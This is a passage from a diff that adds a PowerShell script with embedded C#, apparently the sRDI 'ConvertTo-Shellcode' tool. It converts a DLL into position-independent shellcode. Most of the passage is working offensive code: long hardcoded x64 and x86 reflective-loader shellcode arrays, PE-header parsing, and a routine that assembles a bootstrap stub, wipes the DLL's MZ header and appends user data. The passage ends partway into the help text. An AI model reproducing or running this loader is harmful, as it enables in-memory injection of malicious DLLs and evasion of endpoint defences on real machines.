} + + public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr) + { + StructureToPtrDirect(structure, ptr, SizeOf(__reftype(structure))); + } + + public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure, int size) + { + PtrToStructureNative((byte*)ptr, structure, unchecked((uint)size)); + } + + public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure) + { + PtrToStructureDirect(ptr, structure, SizeOf(__reftype(structure))); + } + + public static void StructureToPtr(ref T structure, IntPtr ptr) + { + StructureToPtrDirect(__makeref(structure), ptr); + } + + public static void PtrToStructure(IntPtr ptr, out T structure) + { + structure = default(T); + PtrToStructureDirect(ptr, __makeref(structure)); + } + + public static T PtrToStructure(IntPtr ptr) + { + T obj; + PtrToStructure(ptr, out obj); + return obj; + } + + public static int SizeOf(T structure) + { + return SizeOf(); + } + + public static int SizeOf() + { + return SizeOf(typeof(T)); + } + + public static int SizeOf(Type t) + { + if (null != SizeOfHelper_f) + return SizeOfHelper_f(t, true); + else + return System.Runtime.InteropServices.Marshal.SizeOf(t); + } + } + + public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer) + { + bool is64Bit = false; + ushort wIndex = 0; + ushort wNumberOfSections = 0; + IntPtr imageSectionPtr; + IMAGE_SECTION_HEADER SectionHeader; + int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); + + IMAGE_DOS_HEADER dosHeader = InteropTools.PtrToStructure(PEPointer); + + IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew); + + IMAGE_NT_HEADERS imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS)); + IMAGE_NT_HEADERS64 imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64)); + + if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true; + + + if (is64Bit) + { + imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader") + (Int64)imageNtHeaders64.FileHeader.SizeOfOptionalHeader)); + SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER)); + wNumberOfSections = imageNtHeaders64.FileHeader.NumberOfSections; + } + else + { + imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader") + (Int64)imageNtHeaders32.FileHeader.SizeOfOptionalHeader)); + SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER)); + wNumberOfSections = imageNtHeaders32.FileHeader.NumberOfSections; + } + + if (dwRva < SectionHeader.PointerToRawData) + return (IntPtr)((UInt64)dwRva + (UInt64)PEPointer); + + for (wIndex = 0; wIndex < wNumberOfSections; wIndex++) + { + SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((IntPtr)((uint)imageSectionPtr + (uint)(sizeOfSectionHeader * (wIndex))), typeof(IMAGE_SECTION_HEADER)); + if (dwRva >= SectionHeader.VirtualAddress && dwRva < (SectionHeader.VirtualAddress + SectionHeader.SizeOfRawData)) + return (IntPtr)((UInt64)(dwRva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData) + (UInt64)PEPointer); + } + + return IntPtr.Zero; + } + + public static unsafe bool Is64BitDLL(byte[] dllBytes) + { + bool is64Bit = false; + GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned); + IntPtr scPointer = scHandle.AddrOfPinnedObject(); + + IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(scPointer, typeof(IMAGE_DOS_HEADER)); + + IntPtr NtHeadersPtr = (IntPtr)((UInt64)scPointer + (UInt64)dosHeader.e_lfanew); + + IMAGE_NT_HEADERS64 imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64)); + IMAGE_NT_HEADERS imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS)); + + if (imageNtHeaders64.Signature != 0x00004550) + throw new ApplicationException("Invalid IMAGE_NT_HEADER signature."); + + if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true; + + scHandle.Free(); + + return is64Bit; + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + delegate IntPtr ReflectiveLoader(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + delegate bool ExportedFunction(IntPtr userData, uint userLength); + + public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData) + { + byte[] rdiShellcode64 = new byte[] { 0xe9, 0x1b, 0x04, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x10, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8b, 0xf1, 0x33, 0xed, 0x48, 0x8b, 0x50, 0x18, 0x4c, 0x8b, 0x4a, 0x10, 0x4d, 0x8b, 0x41, 0x30, 0x4d, 0x85, 0xc0, 0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3c, 0x4d, 0x8b, 0x09, 0x46, 0x8b, 0x9c, 0x00, 0x88, 0x00, 0x00, 0x00, 0x8b, 0xd5, 0xf3, 0x0f, 0x7f, 0x04, 0x24, 0x45, 0x85, 0xdb, 0x74, 0xd3, 0x48, 0x8b, 0x04, 0x24, 0x48, 0xc1, 0xe8, 0x10, 0x66, 0x3b, 0xe8, 0x73, 0x26, 0x48, 0x8b, 0x4c, 0x24, 0x08, 0x44, 0x0f, 0xb7, 0x54, 0x24, 0x02, 0x0f, 0xbe, 0x01, 0xc1, 0xca, 0x0d, 0x80, 0x39, 0x61, 0x7c, 0x06, 0x8d, 0x54, 0x02, 0xe0, 0xeb, 0x02, 0x03, 0xd0, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xca, 0x75, 0xe5, 0x4f, 0x8d, 0x14, 0x18, 0x8b, 0xcd, 0x45, 0x8b, 0x5a, 0x20, 0x4d, 0x03, 0xd8, 0x41, 0x39, 0x6a, 0x18, 0x76, 0x8d, 0x41, 0x8b, 0x1b, 0x8b, 0xfd, 0x49, 0x03, 0xd8, 0x49, 0x83, 0xc3, 0x04, 0x0f, 0xbe, 0x03, 0xc1, 0xcf, 0x0d, 0x48, 0xff, 0xc3, 0x03, 0xf8, 0x40, 0x38, 0x6b, 0xff, 0x75, 0xef, 0x8d, 0x04, 0x17, 0x3b, 0xc6, 0x74, 0x0d, 0xff, 0xc1, 0x41, 0x3b, 0x4a, 0x18, 0x72, 0xd4, 0xe9, 0x5c, 0xff, 0xff, 0xff, 0x41, 0x8b, 0x52, 0x24, 0x03, 0xc9, 0x49, 0x8d, 0x04, 0x10, 0x0f, 0xb7, 0x04, 0x01, 0x41, 0x8b, 0x4a, 0x1c, 0xc1, 0xe0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xc0, 0x8b, 0x04, 0x01, 0x49, 0x03, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x28, 0x48, 0x8b, 0x74, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x10, 0x5f, 0xc3, 0xcc, 0xcc, 0x44, 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x89, 0x54, 0x24, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xf1, 0xb9, 0x4c, 0x77, 0x26, 0x07, 0x44, 0x8b, 0xe2, 0xe8, 0xca, 0xfe, 0xff, 0xff, 0xb9, 0x49, 0xf7, 0x02, 0x78, 0x4c, 0x8b, 0xf0, 0xe8, 0xbd, 0xfe, 0xff, 0xff, 0xb9, 0x58, 0xa4, 0x53, 0xe5, 0x4c, 0x8b, 0xf8, 0xe8, 0xb0, 0xfe, 0xff, 0xff, 0xb9, 0xaf, 0xb1, 0x5c, 0x94, 0x48, 0x8b, 0xd8, 0xe8, 0xa3, 0xfe, 0xff, 0xff, 0x48, 0x63, 0x6e, 0x3c, 0x33, 0xc9, 0x48, 0x03, 0xee, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x8b, 0x55, 0x50, 0x44, 0x8d, 0x49, 0x40, 0x4c, 0x8b, 0xe8, 0x48, 0x89, 0x44, 0x24, 0x70, 0xff, 0xd3, 0x44, 0x8b, 0x45, 0x54, 0x48, 0x8b, 0xf8, 0x48, 0x8b, 0xd6, 0x41, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x13, 0x48, 0x8b, 0xc8, 0x48, 0x2b, 0xce, 0x8a, 0x02, 0x88, 0x04, 0x11, 0x49, 0x03, 0xd3, 0x4d, 0x2b, 0xc3, 0x75, 0xf3, 0x44, 0x0f, 0xb7, 0x4d, 0x06, 0x0f, 0xb7, 0x45, 0x14, 0x4d, 0x85, 0xc9, 0x74, 0x36, 0x48, 0x8d, 0x4c, 0x28, 0x2c, 0x8b, 0x51, 0xf8, 0x44, 0x8b, 0x01, 0x44, 0x8b, 0x51, 0xfc, 0x48, 0x03, 0xd7, 0x4c, 0x03, 0xc6, 0x4d, 0x2b, 0xcb, 0x4d, 0x85, 0xd2, 0x74, 0x10, 0x41, 0x8a, 0x00, 0x4d, 0x03, 0xc3, 0x88, 0x02, 0x49, 0x03, 0xd3, 0x4d, 0x2b, 0xd3, 0x75, 0xf0, 0x48, 0x83, 0xc1, 0x28, 0x4d, 0x85, 0xc9, 0x75, 0xcf, 0x8b, 0x9d, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xdf, 0x8b, 0x43, 0x0c, 0x85, 0xc0, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8b, 0xc8, 0x48, 0x03, 0xcf, 0x41, 0xff, 0xd6, 0x44, 0x8b, 0x23, 0x8b, 0x73, 0x10, 0x4c, 0x03, 0xe7, 0x4c, 0x8b, 0xe8, 0x48, 0x03, 0xf7, 0xeb, 0x5b, 0x49, 0x83, 0x3c, 0x24, 0x00, 0x74, 0x3b, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x49, 0x85, 0x04, 0x24, 0x74, 0x2b, 0x49, 0x63, 0x45, 0x3c, 0x41, 0x0f, 0xb7, 0x14, 0x24, 0x42, 0x8b, 0x8c, 0x28, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8b, 0x44, 0x29, 0x10, 0x48, 0x2b, 0xd0, 0x42, 0x8b, 0x44, 0x29, 0x1c, 0x49, 0x8d, 0x4c, 0x05, 0x00, 0x8b, 0x04, 0x91, 0x49, 0x03, 0xc5, 0xeb, 0x0e, 0x48, 0x8b, 0x06, 0x49, 0x8b, 0xcd, 0x48, 0x8d, 0x54, 0x07, 0x02, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x06, 0x48, 0x83, 0xc6, 0x08, 0x49, 0x83, 0xc4, 0x08, 0x48, 0x83, 0x3e, 0x00, 0x75, 0x9f, 0x8b, 0x43, 0x20, 0x48, 0x83, 0xc3, 0x14, 0x85, 0xc0, 0x0f, 0x85, 0x77, 0xff, 0xff, 0xff, 0x44, 0x8b, 0x64, 0x24, 0x78, 0x4c, 0x8b, 0x6c, 0x24, 0x70, 0x4c, 0x8b, 0xcf, 0x41, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x2b, 0x4d, 0x30, 0x83, 0xbd, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x76, 0xff, 0x0f, 0x84, 0x94, 0x00, 0x00, 0x00, 0x8b, 0x95, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd7, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, 0xbb, 0xff, 0x0f, 0x00, 0x00, 0x44, 0x8b, 0x02, 0x44, 0x8b, 0xd0, 0x4c, 0x8d, 0x5a, 0x08, 0x49, 0x83, 0xea, 0x08, 0x4c, 0x03, 0xc7, 0x49, 0xd1, 0xea, 0x74, 0x58, 0x41, 0x0f, 0xb7, 0x0b, 0x4c, 0x2b, 0xd6, 0x0f, 0xb7, 0xc1, 0x66, 0xc1, 0xe8, 0x0c, 0x66, 0x83, 0xf8, 0x0a, 0x75, 0x09, 0x48, 0x23, 0xcb, 0x4e, 0x01, 0x0c, 0x01, 0xeb, 0x33, 0x66, 0x83, 0xf8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xcb, 0x46, 0x01, 0x0c, 0x01, 0xeb, 0x24, 0x66, 0x3b, 0xc6, 0x75, 0x11, 0x49, 0x8b, 0xc1, 0x48, 0x23, 0xcb, 0x48, 0xc1, 0xe8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xeb, 0x0e, 0x66, 0x41, 0x3b, 0xc6, 0x75, 0x08, 0x48, 0x23, 0xcb, 0x66, 0x46, 0x01, 0x0c, 0x01, 0x4d, 0x03, 0xde, 0x4d, 0x85, 0xd2, 0x75, 0xa8, 0x8b, 0x42, 0x04, 0x48, 0x03, 0xd0, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x75, 0x85, 0x8b, 0x5d, 0x28, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0x83, 0xc9, 0xff, 0x48, 0x03, 0xdf, 0x41, 0xff, 0xd5, 0x4c, 0x8b, 0xc6, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0xd3, 0x45, 0x85, 0xe4, 0x0f, 0x84, 0x99, 0x00, 0x00, 0x00, 0x83, 0xbd, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x95, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd7, 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x7a, 0x83, 0x7a, 0x14, 0x00, 0x74, 0x74, 0x44, 0x8b, 0x52, 0x20, 0x44, 0x8b, 0x42, 0x24, 0x33, 0xdb, 0x4c, 0x03, 0xd7, 0x4c, 0x03, 0xc7, 0x45, 0x85, 0xdb, 0x74, 0x5f, 0x45, 0x8b, 0x0a, 0x4c, 0x03, 0xcf, 0x33, 0xc9, 0x41, 0x0f, 0xbe, 0x01, 0xc1, 0xc9, 0x0d, 0x4c, 0x03, 0xce, 0x03, 0xc8, 0x41, 0x80, 0x79, 0xff, 0x00, 0x75, 0xed, 0x44, 0x3b, 0xe1, 0x74, 0x10, 0x03, 0xde, 0x49, 0x83, 0xc2, 0x04, 0x4d, 0x03, 0xc6, 0x41, 0x3b, 0xdb, 0x72, 0xd2, 0xeb, 0x2f, 0x41, 0x0f, 0xb7, 0x00, 0x83, 0xf8, 0xff, 0x74, 0x26, 0x8b, 0x52, 0x1c, 0xc1, 0xe0, 0x02, 0x48, 0x63, 0xc8, 0x48, 0x8d, 0x04, 0x0f, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x04, 0x02, 0x8b, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x03, 0xc7, 0x41, 0xff, 0xd0, 0x48, 0x8b, 0xc7, 0x48, 0x83, 0xc4, 0x28, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xe6, 0x5e, 0xc3 }; + byte[] rdiShellcode32 = new byte[] { 0x55, 0x8b, 0xec, 0x83, 0xec, 0x18, 0x53, 0x56, 0x57, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xe8, 0x44, 0x02, 0x00, 0x00, 0x89, 0x45, 0xf4, 0xc7, 0x04, 0x24, 0x49, 0xf7, 0x02, 0x78, 0xe8, 0x35, 0x02, 0x00, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0x89, 0x45, 0xec, 0xe8, 0x28, 0x02, 0x00, 0x00, 0x68, 0xaf, 0xb1, 0x5c, 0x94, 0x8b, 0xf8, 0xe8, 0x1c, 0x02, 0x00, 0x00, 0x8b, 0x5d, 0x08, 0x8b, 0x73, 0x3c, 0x83, 0xc4, 0x0c, 0x6a, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x03, 0xf3, 0xff, 0x76, 0x50, 0x89, 0x45, 0xe8, 0x6a, 0x00, 0xff, 0xd7, 0x8b, 0xc8, 0x8b, 0x46, 0x54, 0x89, 0x4d, 0xfc, 0x8b, 0xfb, 0x85, 0xc0, 0x74, 0x0b, 0x2b, 0xcb, 0x8a, 0x17, 0x88, 0x14, 0x39, 0x47, 0x48, 0x75, 0xf7, 0x0f, 0xb7, 0x46, 0x14, 0x8d, 0x7c, 0x30, 0x2c, 0x0f, 0xb7, 0x46, 0x06, 0x89, 0x45, 0x08, 0x85, 0xc0, 0x74, 0x2f, 0x8b, 0x47, 0xf8, 0x8b, 0x0f, 0x8b, 0x57, 0xfc, 0xff, 0x4d, 0x08, 0x03, 0x45, 0xfc, 0x03, 0xcb, 0x89, 0x55, 0xf8, 0x85, 0xd2, 0x74, 0x0f, 0x8a, 0x11, 0xff, 0x4d, 0xf8, 0x88, 0x10, 0x40, 0x41, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0xf1, 0x83, 0xc7, 0x28, 0x83, 0x7d, 0x08, 0x00, 0x75, 0xd1, 0x8b, 0x9e, 0x80, 0x00, 0x00, 0x00, 0x03, 0x5d, 0xfc, 0xeb, 0x6a, 0x03, 0x45, 0xfc, 0x50, 0xff, 0x55, 0xf4, 0x8b, 0x0b, 0x8b, 0x7b, 0x10, 0x03, 0x4d, 0xfc, 0x03, 0x7d, 0xfc, 0x89, 0x45, 0x08, 0xeb, 0x48, 0x8b, 0x11, 0x85, 0xd2, 0x74, 0x27, 0x79, 0x25, 0x8b, 0x50, 0x3c, 0x8b, 0x54, 0x02, 0x78, 0x03, 0xd0, 0x8b, 0x01, 0x25, 0xff, 0xff, 0x00, 0x00, 0x2b, 0x42, 0x10, 0x8b, 0x52, 0x1c, 0x8d, 0x14, 0x82, 0x8b, 0x45, 0x08, 0x8b, 0x14, 0x02, 0x03, 0xd0, 0x89, 0x17, 0xeb, 0x15, 0x8b, 0x0f, 0x03, 0x4d, 0xfc, 0x83, 0xc1, 0x02, 0x51, 0x50, 0xff, 0x55, 0xec, 0x8b, 0x4d, 0xf8, 0x89, 0x07, 0x8b, 0x45, 0x08, 0x83, 0xc7, 0x04, 0x83, 0xc1, 0x04, 0x83, 0x3f, 0x00, 0x89, 0x4d, 0xf8, 0x75, 0xb0, 0x83, 0xc3, 0x14, 0x8b, 0x43, 0x0c, 0x85, 0xc0, 0x75, 0x8f, 0x8b, 0x5d, 0xfc, 0x2b, 0x5e, 0x34, 0x39, 0x86, 0xa4, 0x00, 0x00, 0x00, 0x74, 0x7e, 0x8b, 0x96, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x55, 0xfc, 0xeb, 0x6c, 0x8b, 0x0a, 0x03, 0x4d, 0xfc, 0x83, 0xc0, 0xf8, 0xd1, 0xe8, 0x8d, 0x7a, 0x08, 0x89, 0x7d, 0xf8, 0x74, 0x57, 0x48, 0x89, 0x45, 0x08, 0x8b, 0x45, 0xf8, 0x0f, 0xb7, 0x00, 0x66, 0x8b, 0xf8, 0x66, 0xc1, 0xef, 0x0c, 0x66, 0x83, 0xff, 0x0a, 0x74, 0x06, 0x66, 0x83, 0xff, 0x03, 0x75, 0x0a, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x01, 0x1c, 0x08, 0xeb, 0x25, 0x66, 0x83, 0xff, 0x01, 0x75, 0x10, 0x8b, 0xfb, 0x25, 0xff, 0x0f, 0x00, 0x00, 0xc1, 0xef, 0x10, 0x66, 0x01, 0x3c, 0x08, 0xeb, 0x0f, 0x66, 0x83, 0xff, 0x02, 0x75, 0x09, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x66, 0x01, 0x1c, 0x08, 0x8b, 0x45, 0x08, 0x83, 0x45, 0xf8, 0x02, 0x85, 0xc0, 0x75, 0xa9, 0x03, 0x52, 0x04, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x75, 0x8d, 0x8b, 0x5e, 0x28, 0x03, 0x5d, 0xfc, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0xff, 0xff, 0x55, 0xe8, 0x8b, 0x7d, 0xfc, 0x6a, 0x01, 0x6a, 0x01, 0x57, 0xff, 0xd3, 0x33, 0xdb, 0x39, 0x5d, 0x0c, 0x74, 0x75, 0x39, 0x5e, 0x7c, 0x74, 0x70, 0x8b, 0x76, 0x78, 0x03, 0xf7, 0x8b, 0x56, 0x18, 0x3b, 0xd3, 0x74, 0x64, 0x39, 0x5e, 0x14, 0x74, 0x5f, 0x8b, 0x46, 0x20, 0x8b, 0x4e, 0x24, 0x03, 0xc7, 0x03, 0xcf, 0x89, 0x5d, 0x08, 0x3b, 0xd3, 0x76, 0x4e, 0x8b, 0x10, 0x03, 0x55, 0xfc, 0x33, 0xff, 0x0f, 0xbe, 0x1a, 0xc1, 0xcf, 0x0d, 0x03, 0xfb, 0x42, 0x80, 0x7a, 0xff, 0x00, 0x75, 0xf1, 0x39, 0x7d, 0x0c, 0x74, 0x13, 0xff, 0x45, 0x08, 0x8b, 0x55, 0x08, 0x83, 0xc0, 0x04, 0x83, 0xc1, 0x02, 0x3b, 0x56, 0x18, 0x72, 0xd4, 0xeb, 0x20, 0x0f, 0xb7, 0x01, 0x83, 0xf8, 0xff, 0x74, 0x18, 0x8b, 0x4e, 0x1c, 0xff, 0x75, 0x14, 0x8d, 0x0c, 0x81, 0x8b, 0x45, 0xfc, 0x8b, 0x0c, 0x01, 0xff, 0x75, 0x10, 0x03, 0xc8, 0xff, 0xd1, 0x59, 0x59, 0x8b, 0x45, 0xfc, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x0c, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0xe9, 0x9f, 0x00, 0x00, 0x00, 0x8b, 0x71, 0x3c, 0x8b, 0x50, 0x2c, 0x8b, 0x74, 0x0e, 0x78, 0x83, 0x65, 0xf8, 0x00, 0x8b, 0x78, 0x30, 0x8b, 0x00, 0x89, 0x55, 0xec, 0x85, 0xf6, 0x0f, 0x84, 0x81, 0x00, 0x00, 0x00, 0x83, 0x65, 0xfc, 0x00, 0xc1, 0xea, 0x10, 0x33, 0xdb, 0x66, 0x3b, 0xda, 0x73, 0x2d, 0x8b, 0x55, 0xfc, 0x8a, 0x14, 0x17, 0xc1, 0x4d, 0xf8, 0x0d, 0x80, 0xfa, 0x61, 0x0f, 0xbe, 0xd2, 0x7c, 0x0c, 0x8b, 0x5d, 0xf8, 0x8d, 0x54, 0x13, 0xe0, 0x89, 0x55, 0xf8, 0xeb, 0x03, 0x01, 0x55, 0xf8, 0x0f, 0xb7, 0x55, 0xee, 0xff, 0x45, 0xfc, 0x39, 0x55, 0xfc, 0x72, 0xd3, 0x83, 0x65, 0xfc, 0x00, 0x03, 0xf1, 0x8b, 0x56, 0x20, 0x8b, 0x7e, 0x18, 0x03, 0xd1, 0x85, 0xff, 0x74, 0x34, 0x8b, 0x3a, 0x03, 0xf9, 0x33, 0xdb, 0x83, 0xc2, 0x04, 0x89, 0x7d, 0xf4, 0x0f, 0xbe, 0x3f, 0xc1, 0xcb, 0x0d, 0x03, 0xdf, 0x8b, 0x7d, 0xf4, 0x47, 0x80, 0x7f, 0xff, 0x00, 0x89, 0x7d, 0xf4, 0x75, 0xeb, 0x03, 0x5d, 0xf8, 0x3b, 0x5d, 0x08, 0x74, 0x1d, 0xff, 0x45, 0xfc, 0x8b, 0x7d, 0xfc, 0x3b, 0x7e, 0x18, 0x72, 0xcc, 0x8b, 0x48, 0x18, 0x85, 0xc9, 0x0f, 0x85, 0x56, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x55, 0xfc, 0x8b, 0x46, 0x24, 0x8d, 0x04, 0x50, 0x0f, 0xb7, 0x04, 0x08, 0x8b, 0x56, 0x1c, 0x8d, 0x04, 0x82, 0x8b, 0x04, 0x08, 0x03, 0xc1, 0xeb, 0xe1 }; + + List newShellcode = new List(); + + if (Is64BitDLL(dllBytes)) + { + byte[] rdiShellcode = rdiShellcode64; + int bootstrapSize = 34; + + // call next instruction (Pushes next instruction address to stack) + newShellcode.Add(0xe8); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + + //Here is where the we pop the address of our shellcode off the stack and into the first register + // pop rcx + newShellcode.Add(0x59); + + // mov r8, rcx - Backup our memory location to RCX before we start subtracting + newShellcode.Add(0x49); + newShellcode.Add(0x89); + newShellcode.Add(0xc8); + + // Put the location of the DLL into RCX + // add rcx, - 5 (For our call instruction) + + newShellcode.Add(0x48); + newShellcode.Add(0x81); + newShellcode.Add(0xc1); + + foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length))) + newShellcode.Add(b); + + // mov edx, + newShellcode.Add(0xba); + foreach (byte b in BitConverter.GetBytes((uint)functionHash)) + newShellcode.Add(b); + + // Put the location of our user data in + // add r8, (Size of bootstrap) + + + newShellcode.Add(0x49); + newShellcode.Add(0x81); + newShellcode.Add(0xc0); + + foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length))) + newShellcode.Add(b); + + // mov r9d, + newShellcode.Add(0x41); + newShellcode.Add(0xb9); + + foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) + newShellcode.Add(b); + + //Write the rest of RDI + foreach (byte b in rdiShellcode) + newShellcode.Add(b); + + //Write our DLL + dllBytes[0] = 0x00; + dllBytes[1] = 0x00; + foreach (byte b in dllBytes) + newShellcode.Add(b); + + //Write our userdata + foreach (byte b in userData) + newShellcode.Add(b); + + } + else // 32 Bit + { + byte[] rdiShellcode = rdiShellcode32; + int bootstrapSize = 40; + + // call next instruction (Pushes next instruction address to stack) + newShellcode.Add(0xe8); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + + //Here is where the we pop the address of our shellcode off the stack and into the first register + // pop ecx + newShellcode.Add(0x58); + + // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + newShellcode.Add(0x89); + newShellcode.Add(0xc3); + + // Put the location of the DLL into ECX + // add eax, + + newShellcode.Add(0x05); + foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length))) + newShellcode.Add(b); + + // add ebx, + + + newShellcode.Add(0x81); + newShellcode.Add(0xc3); + + foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length))) + newShellcode.Add(b); + + //push + newShellcode.Add(0x68); + + foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) + newShellcode.Add(b); + + // push ebx + newShellcode.Add(0x53); + + // push + newShellcode.Add(0x68); + foreach (byte b in BitConverter.GetBytes((uint)functionHash)) + newShellcode.Add(b); + + // push eax + newShellcode.Add(0x50); + + // call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes) + newShellcode.Add(0xe8); + newShellcode.Add(0x04); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + newShellcode.Add(0x00); + + // add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves + newShellcode.Add(0x83); + newShellcode.Add(0xc4); + newShellcode.Add(0x10); + + // ret - because we used call earlier + newShellcode.Add(0xc3); + + //Write the rest of RDI + foreach (byte b in rdiShellcode) + newShellcode.Add(b); + + //Write our DLL + dllBytes[0] = 0x00; + dllBytes[1] = 0x00; + foreach (byte b in dllBytes) + newShellcode.Add(b); + + //Write our userdata + foreach (byte b in userData) + newShellcode.Add(b); + } + + return newShellcode.ToArray(); + } +} +"@ + +function ConvertTo-Shellcode{ + <# + .SYNOPSIS + Convert DLL file to position independent shellcode + + Author: Nick Landers (@monoxgas) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + Uses ShellcodeRDI to bootstrap and shellcode PE loader to an existing file. When + execution is passed to the converted shellcode, the DLL file is unpacked and loaded + in memory. + + .EXAMPLE + C:\PS> ConvertTo-Shellcode -File TestDLL_x86.dll + + 